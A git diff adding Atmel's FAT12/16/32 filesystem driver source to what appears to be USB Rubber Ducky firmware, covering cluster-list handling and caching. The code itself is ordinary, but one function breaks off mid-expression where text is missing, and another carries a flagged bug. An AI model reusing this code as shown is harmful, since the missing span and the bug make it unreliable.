a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat.c new file mode 100644 index 0000000..bbfe3c8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/fat.c @@ -0,0 +1,2002 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the FAT accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#define _fat_c_ + +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "fs_com.h" +#include "fat.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E F I N I T I O N S ______________________________________________ + + +//! \name Store navigator datas no selected +//! @{ +#if (FS_NB_NAVIGATOR > 1) +_MEM_TYPE_SLOW_ Fs_management fs_g_navext[FS_NB_NAVIGATOR-1]; +_MEM_TYPE_SLOW_ Fs_management_fast fs_g_navext_fast[FS_NB_NAVIGATOR-1]; +_MEM_TYPE_SLOW_ Fs_management_entry fs_g_navext_entry[FS_NB_NAVIGATOR-1]; +#endif +//! @} + +//! \name Variables to manage cluster list caches +//! @{ +_MEM_TYPE_SLOW_ Fs_clusterlist_cache fs_g_cache_clusterlist[FS_NB_CACHE_CLUSLIST*2]; +_MEM_TYPE_SLOW_ uint8_t fs_g_u8_current_cache; +//! @} + +//_____ D E C L A R A T I O N S ____________________________________________ + + +void fat_cache_clusterlist_update_start ( Bool b_for_file ); +void fat_cache_clusterlist_update_finish ( void ); +Bool fat_cache_clusterlist_update_read ( Bool b_for_file ); +void fat_cache_clusterlist_update_select ( void ); + + + +//! This function checks device state +//! +//! @return true device ready +//! @return false otherwise +//! +//! @verbatim +//! This function updates all navigator datas when the device state change. +//! @endverbatim +//! +Bool fat_check_device( void ) +{ + uint8_t retry=0; +#if (FS_NB_NAVIGATOR > 1) + uint8_t i; +#endif + Ctrl_status status; + + // Possibility to ignore the disk check. Used to take time during multi read/write access + if( g_b_no_check_disk ) + return true; + + if( 0xFF == fs_g_nav.u8_lun ) + { + fs_g_status = FS_ERR_HW; + return false; // No device selected + } + + for( retry=0 ; retry<100 ; retry++ ) + { + // Check device + status = mem_test_unit_ready( fs_g_nav.u8_lun ); + if( CTRL_GOOD == status ) + return true; // drive ready + + //* HERE error or state change + // Clean all navigator datas which use this device + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + Fat_file_close(); // By default the file is not open +#if (FS_NB_NAVIGATOR > 1) + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) + { + fs_g_navext_fast[i].u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_navext_entry[i].u8_open_mode = 0; // By default the file is not open + } + } +#endif + // If the internal cache corresponding at device then clean it + if( fs_g_nav.u8_lun == fs_g_sectorcache.u8_lun ) + { + fat_cache_reset(); + } + fat_cache_clusterlist_reset(); + + fs_g_status = FS_ERR_HW; // By default HW error + if( CTRL_BUSY == status ) + continue; // If device busy then retry + + if( CTRL_NO_PRESENT == status ) + fs_g_status = FS_ERR_HW_NO_PRESENT; // Update error flag + break; // FAIL or NOT PRESENT = fatal error = no retry + } + return false; +} + + +//! This function checks if the partition is mounted +//! +//! @return true partition mounted +//! @return false otherwise +//! +Bool fat_check_mount( void ) +{ + if( !fat_check_device() ) + return false; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + { + if( !fat_mount() ) + { + fs_g_status = FS_ERR_NO_MOUNT; + return false; + } + } + return true; +} + + +//! This function checks if a file is not opened on current navigator +//! +//! @return true no file opened +//! @return false otherwise +//! +Bool fat_check_noopen( void ) +{ + if( !fat_check_device() ) + return true; + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return true; + if( Fat_file_is_open() ) + { + fs_g_status = FS_ERR_TOO_FILE_OPEN; // The navigation have already open a file + return false; + } + return true; +} + + +//! This function checks if a file is opened on current navigator +//! +//! @return true a file is opened +//! @return false otherwise +//! +Bool fat_check_open( void ) +{ + if( Fat_file_isnot_open() ) + { + fs_g_status = FS_ERR_FILE_NO_OPEN; + return false; + } + return true; +} + + +//! This function checks if a file is selected on current navigator +//! +//! @return true a file is selected +//! @return false otherwise +//! +Bool fat_check_select( void ) +{ + if (FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file) + { + fs_g_status = FS_ERR_NO_FILE_SEL; + return false; + } + return true; +} + + +//! This function checks if the partition is mounted and no file is opened +//! +//! @return true partition mounted and no file is opened +//! @return false otherwise +//! +Bool fat_check_mount_noopen( void ) +{ + if( !fat_check_mount() ) + return false; + return fat_check_noopen(); +} + + +//! This function checks if the partition is mounted and if no file is opened and a file is selected +//! +//! @return true partition mounted and no file is opened and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select_noopen( void ) +{ + if( !fat_check_mount() ) + return false; + if( !fat_check_select() ) + return false; + return fat_check_noopen(); +} + + +//! This function checks if the partition is mounted and if a file is opened +//! +//! @return true partition mounted and a file is opened +//! @return false otherwise +//! +Bool fat_check_mount_select_open( void ) +{ + if( !fat_check_mount() ) + return false; + if( !fat_check_select() ) + return false; + return fat_check_open(); +} + + +//! This function checks if the partition is mounted and if a file is selected +//! +//! @return true partition mounted and a file is selected +//! @return false otherwise +//! +Bool fat_check_mount_select( void ) +{ + if( !fat_check_mount() ) + return false; + return fat_check_select(); +} + + +//! This function checks if the selected file entry is a file and not a directory +//! +//! @return true It is a file and not a directory +//! @return false otherwise +//! +Bool fat_check_is_file( void ) +{ + if( Fat_is_not_a_file ) + { + fs_g_status = FS_ERR_NO_FILE; // It isn't a file, it is a directory or a volume id + return false; + } + return true; +} + + +#if (FS_MULTI_PARTITION == ENABLED) +//! This function returns the number of partition on current drive +//! +//! @return u8_number number of partition +//! +uint8_t fat_get_nbpartition( void ) +{ + if( !fat_check_device() ) + return 0; + +#warning this routine contains bug, rework it + // Read the first sector of drive + fs_gu32_addrsector = 0; + if( !fat_cache_read_sector( true )) + return false; + + // Check PBR or MBR signature + if ( (fs_g_sector[510] != FS_BR_SIGNATURE_LOW ) + && (fs_g_sector[511] != FS_BR_SIGNATURE_HIGH ) ) + { + // No MBR + // The sector, is it a PBR ? + if ( (fs_g_sector[0] == 0xEB) && // PBR Byte 0 + (fs_g_sector[2] == 0x90) && // PBR Byte 2 + ((fs_g_sector[21] & 0xF0) == 0xF0) ) // PBR Byte 21 : Media byte + { + return 1; // No MBR but PBR exist then only one partition + } else { + return 0; // No MBR and no PBR then no partition found + } + } + + number_part = 0; + while( 1 ) + { + // The first sector must be a MBR, then check the partition entry in the MBR + if ( ((fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+0] != FS_PARTITION_ACTIVE) && + (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+0] != 0x00)) + || (fs_g_sector[FS_MBR_OFFSET_PART_ENTRY(number_part)+4] == 0x00) ) + { + break; + } + number_part++; + } + return number_part; +} +#endif + + +//! This function gets or clears a cluster list +//! +//! @param b_for_file If true then it is a file cluster list else a directory cluster list
+//! @param opt_action Choose action on the cluster list
+//! FS_CLUST_ACT_SEG Get continue memory segment corresponding at cluster list
+//! FS_CLUST_ACT_ONE Get only one memory sector (512B) corresponding at cluster list
+//! FS_CLUST_ACT_CLR Clear the cluster list
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr The first cluster of the cluster list +//! fs_g_seg.u32_size_or_pos Start position in the cluster list (unit 512B) +//! OUT: +//! fs_g_seg.u32_addr The memory segment address corresponding at the beginning of cluster list (only for action FS_CLUST_ACT_SEG & FS_CLUST_ACT_ONE) +//! fs_g_seg.u32_size_or_pos The memory segment size corresponding at cluster list readed or cleared (unit 512B) +//! @endverbatim +//! +Bool fat_cluster_list( uint8_t opt_action, Bool b_for_file ) +{ + _MEM_TYPE_FAST_ uint32_t u32_tmp; + _MEM_TYPE_FAST_ uint8_t u8_cluster_status; + + fs_g_status = FS_ERR_FS; // By default system error + + if( Is_fat32 + && (FS_CLUST_ACT_CLR == opt_action) ) + { +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + // Clear free space information storage in FAT32 + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; +#else + return false; +#endif + } + + if ( 0 == fs_g_seg.u32_addr ) + { + // Cluster list of root directory + if( FS_CLUST_ACT_CLR == opt_action ) + return false; // Impossible to erase ROOT DIR + + if ( Is_fat12 || Is_fat16 ) + { + // For a FAT 12 & 16, the root dir isn't a cluster list + // Check the position + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.rootdir.seg.u16_size ) + { + // Compute the start address and the size + fs_g_seg.u32_addr = fs_g_nav.u32_ptr_fat + fs_g_nav.rootdir.seg.u16_pos + fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_size_or_pos = fs_g_nav.rootdir.seg.u16_size - fs_g_seg.u32_size_or_pos; + return true; + } else { + fs_g_status = FS_ERR_OUT_LIST; + return false; // Position outside the root area + } + } + if ( Is_fat32 ) + { + // For FAT 32, the root is a cluster list and the first cluster is reading during the mount + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; + } + } else { + // It is the first cluster of a cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; + } + + // Management of cluster list caches + if( FS_CLUST_ACT_CLR != opt_action ) + { + if( fat_cache_clusterlist_update_read( b_for_file ) ) + return true; // Segment found in cache + // Segment not found & cache ready to update + }else{ + fat_cache_clusterlist_reset(); // It is a clear action then clear cluster list caches +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + fat_clear_info_fat_mod(); // Init cache on fat modification range +#endif // FS_LEVEL_FEATURES + } + + // Init loop with a start segment no found + MSB0( fs_g_seg.u32_addr ) = 0xFF; + + //**** Loop to read the cluster list + while ( 1 ) + { + if ( fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus ) + { + // The segment starts in this cluster + // Compute the sector address of this cluster + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data + fs_g_seg.u32_size_or_pos; + + if ( FS_CLUST_ACT_ONE == opt_action ) + { + // Compute the maximum size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus-fs_g_seg.u32_size_or_pos; + fat_cache_clusterlist_update_finish(); + // Send a size of one sector + fs_g_seg.u32_size_or_pos = 1; + return true; + } + // Update the segment size + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus - LSB0( fs_g_seg.u32_size_or_pos ); + + // Take time, during read cluster list on FAT 16 & 32 + if( (FS_CLUST_ACT_SEG == opt_action) + && (!Is_fat12) ) + { + // Init loop with the current cluster + u32_tmp = fs_g_cluster.u32_pos; + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + // Read cluster list, while this one is continue + while(1) + { + if ( (++fs_g_cluster.u32_pos) != fs_g_cluster.u32_val ) + { + fs_g_cluster.u32_pos--; // Recompute previous value + u32_tmp = fs_g_cluster.u32_pos - u32_tmp; // Compute the size of cluster list + fs_g_seg.u32_size_or_pos += u32_tmp * fs_g_nav.u8_BPB_SecPerClus; + break; + } + if( !fat_cluster_readnext() ) + return false; + } + } + } + // Get the cluster value + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + + // Read and check the status of the new cluster + u8_cluster_status = fat_checkcluster(); + if (FS_CLUS_BAD == u8_cluster_status) + return false; // error, end of cluster list + + if (0xFF == MSB0(fs_g_seg.u32_addr)) + { + // The beginning of the segment isn't found + if (FS_CLUS_END == u8_cluster_status) + { + u32_tmp = fs_g_seg.u32_size_or_pos; // Save number of sector remaining + + // Compute the sector address of this last cluster to take time during a futur request with the same cluster list + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_addr = ((fs_g_cluster.u32_pos - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fs_g_seg.u32_size_or_pos = fs_g_nav.u8_BPB_SecPerClus; + if (FS_CLUST_ACT_CLR != opt_action) + fat_cache_clusterlist_update_finish(); + + // The position is outside the cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_pos; // Send the last cluster value + fs_g_seg.u32_size_or_pos = u32_tmp; // Restore number of sector remaining + fs_g_status = FS_ERR_OUT_LIST; + return false; + } + // Good cluster then continue + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + if( fs_g_seg.u32_size_or_pos == 0) + { + // At cluster position, set the flag end of cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster + // !!!! It isn't necessary to reinit MSB0( fs_g_seg.u32_addr ) to 0xFF, + // !!!! fs_g_seg.u32_addr will be modified at the beginning of main loop + } + } +#endif // FS_LEVEL_FEATURES + } + else + { + // The beginning of segment is found + if (FS_CLUST_ACT_SEG == opt_action) + { + if ( (fs_g_cluster.u32_pos+1) != fs_g_cluster.u32_val ) + { + // The cluster is not a continue cluster or a invalid cluster + fat_cache_clusterlist_update_finish(); + return true; // End of segment + } + } +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + //** Clear cluster position + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // Save the next cluster + fs_g_cluster.u32_val = 0; // by default free cluster + // If it is the first cluster (fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus) + // and doesn't start at the beginning of cluster (fs_g_seg.u32_size_or_pos != fs_g_nav.u8_BPB_SecPerClus) + if (fs_g_seg.u32_size_or_pos < fs_g_nav.u8_BPB_SecPerClus) + { + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // End of cluster list allocated + } + if( !fat_cluster_val( FS_CLUST_VAL_WRITE )) + return false; + fs_g_cluster.u32_val = fs_g_seg.u32_addr; // Resotre the next cluster + // !!!! It isn't necessary to reinit MSB0( fs_g_seg.u32_addr ) at 0xFF, + // !!!! because it isn't possible that MSB0( fs_g_cluster.val ) = 0xFF. + } +#endif // FS_LEVEL_FEATURES + + // Check the end of cluster list + if (FS_CLUS_END == u8_cluster_status) + { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (FS_CLUST_ACT_CLR == opt_action) + { + return fat_update_fat2(); + } +#endif // FS_LEVEL_FEATURES + fat_cache_clusterlist_update_finish(); + return true; // End of segment + } + + // Update the segment size + fs_g_seg.u32_size_or_pos += fs_g_nav.u8_BPB_SecPerClus; + } + // HERE, Continue to read the cluster list + // The next cluster is the value of previous cluster + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; + } // End of main loop +} + + +//! \name Position of the current cluster in the FAT
+//! Global variable used to take time with routines fat_cluster_readnext() and fat_cluster_val() +_MEM_TYPE_FAST_ uint16_t fs_g_u16_pos_fat; + + +//! This function returns or modifys a cluster value in FAT +//! +//! @param b_mode false, to read a cluster value
+//! true, to write a cluster value +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_cluster.u32_pos cluster number to read or write +//! fs_g_cluster.u32_val value to write +//! OUT: +//! fs_g_cluster.u32_val value readed +//! fs_g_u16_pos_fat position in FAT of the cluster to read or write +//! value init in case of the fat_cluster_readnext() routine is used after +//! @endverbatim +//! +Bool fat_cluster_val( Bool b_mode ) +{ + _MEM_TYPE_FAST_ uint32_t u32_offset_fat =0; + _MEM_TYPE_FAST_ uint8_t u8_data1, u8_data2,u8_data3,u8_data4; + _MEM_TYPE_FAST_ PTR_CACHE u8_ptr_cluster; + + //**** Compute the cluster position in FAT (sector address & position in sector) + if ( Is_fat32 ) + { + // FAT 32 + // Optimization of -> u32_offset_fat = fs_g_cluster.pos * 4 / FS_CACHE_SIZE; + // Optimization of -> u32_offset_fat = fs_g_cluster.pos / 128 + u32_offset_fat = fs_g_cluster.u32_pos >> (8-1); + + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 4) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 128) * 4 + fs_g_u16_pos_fat = ((uint16_t)(LSB0(fs_g_cluster.u32_pos) & 0x7F))<< 2; + } + else if ( Is_fat16 ) + { + // FAT 16 + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos * 2 / FS_CACHE_SIZE = fs_g_cluster.u32_pos / 256; + u32_offset_fat = LSB1(fs_g_cluster.u32_pos); + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos * 2) % FS_CACHE_SIZE; + // Optimization of -> fs_g_u16_pos_fat = (fs_g_cluster.u32_pos % 256) * 2 + fs_g_u16_pos_fat = ((uint16_t)LSB0(fs_g_cluster.u32_pos)) <<1; + } + else if ( Is_fat12 ) + { + // FAT 12 + // Optimization of -> fs_g_u16_pos_fat = fs_g_cluster.u32_pos + (fs_g_cluster.u32_pos/ 2) + fs_g_u16_pos_fat = (uint16_t)fs_g_cluster.u32_pos + ((uint16_t)fs_g_cluster.u32_pos >>1); + // Optimization of -> u32_offset_fat = fs_g_cluster.u32_pos / FS_CACHE_SIZE + u32_offset_fat = MSB(fs_g_u16_pos_fat) >> 1; + // Optimization of -> fs_g_u16_pos_fat = fs_g_u16_pos_fat % FS_CACHE_SIZE + MSB( fs_g_u16_pos_fat ) &= 0x01; + } + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + if (b_mode) + { + // Update information about FAT modification + if( fs_g_u32_first_mod_fat > u32_offset_fat ) + { + fs_g_u32_first_mod_fat = u32_offset_fat; + } + if( fs_g_u32_last_mod_fat < u32_offset_fat ) + { + fs_g_u32_last_mod_fat = u32_offset_fat; + } + if ( Is_fat12 ) + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { // Count the next FAT sector + if( fs_g_u32_last_mod_fat < (u32_offset_fat+1) ) + { + fs_g_u32_last_mod_fat = (u32_offset_fat+1); + } + } + } + } +#endif // FS_LEVEL_FEATURES + + //**** Read cluster sector in FAT + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + u32_offset_fat; // Computed logical sector address + if( !fat_cache_read_sector( true )) + return false; + + // Read cluster information + u8_ptr_cluster = &fs_g_sector[fs_g_u16_pos_fat]; + u8_data1 = u8_ptr_cluster[0]; + // Remark: if (fs_g_u16_pos_fat+1)=512 then it isn't a mistake, because this value will be erase in next lines + u8_data2 = u8_ptr_cluster[1]; + u8_data3 = u8_ptr_cluster[2]; + u8_data4 = u8_ptr_cluster[3]; + + if ( Is_fat12 ) + { // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { // Go to next sector + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return false; + u8_data2 = fs_g_sector[0]; + } + } + + if (false == b_mode) + { + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = u8_data1; // FAT 12,16,32 + LSB1( fs_g_cluster.u32_val ) = u8_data2; // FAT 12,16,32 + + if ( Is_fat32 ) + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = u8_data3; + LSB3( fs_g_cluster.u32_val ) = u8_data4 & 0x0F; // The high 4 bits are reserved + } + else + { // FAT 12 & 16 don't use the high bytes + LSB2( fs_g_cluster.u32_val ) = 0; + LSB3( fs_g_cluster.u32_val ) = 0; + + // FAT 12 translate 16bits value to 12bits + if ( Is_fat12 ) + { + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) + { // Readed cluster is ODD + LSB0( fs_g_cluster.u32_val ) = (LSB1( fs_g_cluster.u32_val ) <<4 ) + (LSB0( fs_g_cluster.u32_val ) >>4 ); + LSB1( fs_g_cluster.u32_val ) = LSB1( fs_g_cluster.u32_val ) >>4 ; + } + else + { // Readed cluster is EVEN + LSB1( fs_g_cluster.u32_val ) &= 0x0F; + } + } + } + } else { +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) + //**** Write the cluster value + if ( Is_fat12 ) + { + // FAT 12, translate cluster value + if ( 0x01 & LSB0(fs_g_cluster.u32_pos) ) + { // Cluster writing is ODD + u8_data1 = (u8_data1 & 0x0F) + (LSB0( fs_g_cluster.u32_val )<<4); + u8_data2 = (LSB1( fs_g_cluster.u32_val )<<4) + (LSB0( fs_g_cluster.u32_val )>>4) ; + } else { + // Cluster writing is EVEN + u8_data1 = LSB0( fs_g_cluster.u32_val ); + u8_data2 = (u8_data2 & 0xF0) + (LSB1( fs_g_cluster.u32_val ) & 0x0F) ; + } + + // A cluster may be stored on two sectors + if( fs_g_u16_pos_fat == (FS_CACHE_SIZE-1) ) + { + fs_g_sector[0] = u8_data2; + fat_cache_mark_sector_as_dirty(); + // Go to previous sector + fs_gu32_addrsector--; + if( !fat_cache_read_sector( true )) + return false; + // Modify the previous sector + fs_g_sector[ FS_CACHE_SIZE-1 ] = u8_data1; + fat_cache_mark_sector_as_dirty(); + return true; + } + } + else + { + // FAT 16 & 32 + u8_data1 = LSB0( fs_g_cluster.u32_val ); + u8_data2 = LSB1( fs_g_cluster.u32_val ); + if ( Is_fat32 ) + { // FAT 32 + u8_ptr_cluster[2] = LSB2( fs_g_cluster.u32_val ); + u8_ptr_cluster[3] = LSB3( fs_g_cluster.u32_val ) + (u8_data4 & 0xF0); // The high 4 bits are reserved + } + } + // Here for FAT 32, 16 & 12 (only if the cluster values are in the same sector) + u8_ptr_cluster[0] = u8_data1; + u8_ptr_cluster[1] = u8_data2; + fat_cache_mark_sector_as_dirty(); +#else + fs_g_status = FS_ERR_COMMAND; + return false; +#endif // FS_LEVEL_FEATURES + } + + return true; +} + + +//! This function is optimized to read a continue cluster list on FAT16 and FAT32 +//! +//! Read global value "fs_g_status" in case of error : +//! FS_ERR_HW Hardware driver error +//! FS_LUN_WP Drive is read only +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_u16_pos_fat previous cluster position in FAT +//! OUT: +//! fs_g_u16_pos_fat readed cluster position in FAT +//! fs_g_cluster.u32_val value of cluster readed +//! @endverbatim +//! +Bool fat_cluster_readnext( void ) +{ + // Compute the next cluster position in FAT + if ( Is_fat32 ) + { + fs_g_u16_pos_fat += 4; + }else{ + // Is_fat16 + fs_g_u16_pos_fat += 2; + } + + // Check if next cluster is in internal cache + if( FS_CACHE_SIZE == fs_g_u16_pos_fat ) + { + // Update cache + fs_g_u16_pos_fat = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return false; + } + + //**** Read the cluster value + LSB0( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+0]; // FAT 16,32 + LSB1( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+1]; // FAT 16,32 + + if ( Is_fat32 ) + { // FAT 32 + LSB2( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+2]; + LSB3( fs_g_cluster.u32_val ) = fs_g_sector[fs_g_u16_pos_fat+3]; + } + return true; +} + + +//! This function checks the cluster value +//! +//! @return value status
+//! FS_CLUS_OK Value correct
+//! FS_CLUS_BAD Value bad
+//! FS_CLUS_END It is a end of list
+//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_cluster.u32_val value to check +//! @endverbatim +//! +uint8_t fat_checkcluster( void ) +{ + if ( !fs_g_cluster.u32_val ) + return FS_CLUS_BAD; + + // Cluster bad if (FAT12 == 0x0FF7) (FAT16 == 0xFFF7) (FAT32 == 0x0FFFFFF7) + // Last cluster if (FAT12 > 0x0FF7) (FAT16 > 0xFFF7) (FAT32 > 0x0FFFFFF7) + if ( Is_fat32 ) + { + if (fs_g_cluster.u32_val >= 0x0FFFFFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0x0FFFFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat16 ) + { + if (fs_g_cluster.u32_val >= 0xFFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFFF7) + return FS_CLUS_BAD; + } + else if ( Is_fat12 ) + { + if (fs_g_cluster.u32_val >= 0xFF8) + return FS_CLUS_END; + else if (fs_g_cluster.u32_val == 0xFF7) + return FS_CLUS_BAD; + } + + return FS_CLUS_OK; +} + +//! \name Internal functions to manage cluster list caches +//! @{ + +//! This function resets the cluster list caches +//! +void fat_cache_clusterlist_reset( void ) +{ + uint8_t u8_i; + fs_g_u8_current_cache=0; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + // The cache list is splited in two cache (file cluster list and directory cluster list) + fs_g_cache_clusterlist[u8_i].b_cache_file = (u8_i +//! +void fat_cache_clusterlist_update_start( Bool b_for_file ) +{ + // Get the OLD cache (=max level used) + uint8_t u8_i; + for( u8_i=0; u8_i<((FS_NB_CACHE_CLUSLIST*2)-1); u8_i++ ) // (FS_NB_CACHE_CLUSLIST*2)-1, in case of error + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file ) + { +#if (FS_NB_CACHE_CLUSLIST>1) + if( (FS_NB_CACHE_CLUSLIST-2) < fs_g_cache_clusterlist[u8_i].u8_level_use ) +#endif + break; + } + } + fs_g_u8_current_cache = u8_i; + fs_g_cache_clusterlist[fs_g_u8_current_cache].b_cache_file = b_for_file; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = fs_g_seg.u32_size_or_pos; +} + + +//! This function updates a cache of cluster list caches +//! +void fat_cache_clusterlist_update_finish( void ) +{ + uint8_t u8_cluster_offset = fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start % fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = fs_g_nav.u8_lun; // valid cache + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start -= u8_cluster_offset; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_addr = fs_g_seg.u32_addr - u8_cluster_offset; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_size = fs_g_seg.u32_size_or_pos + u8_cluster_offset; + + // Update the "level used" of cache + fat_cache_clusterlist_update_select(); +} + + +//! This function signals that a cache is used +//! +void fat_cache_clusterlist_update_select( void ) +{ + uint8_t u8_i; + uint8_t u8_level_to_update; + Bool b_file_cache; + + b_file_cache = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].b_cache_file; + u8_level_to_update = fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( fs_g_cache_clusterlist[u8_i].b_cache_file == b_file_cache ) + if( u8_level_to_update > fs_g_cache_clusterlist[u8_i].u8_level_use ) + fs_g_cache_clusterlist[u8_i].u8_level_use++; + } + fs_g_cache_clusterlist[ fs_g_u8_current_cache ].u8_level_use = 0; +} + + +//! This function searchs a cluster list in cluster list caches +//! +//! @param b_for_file If true then it is a file cluster list else a 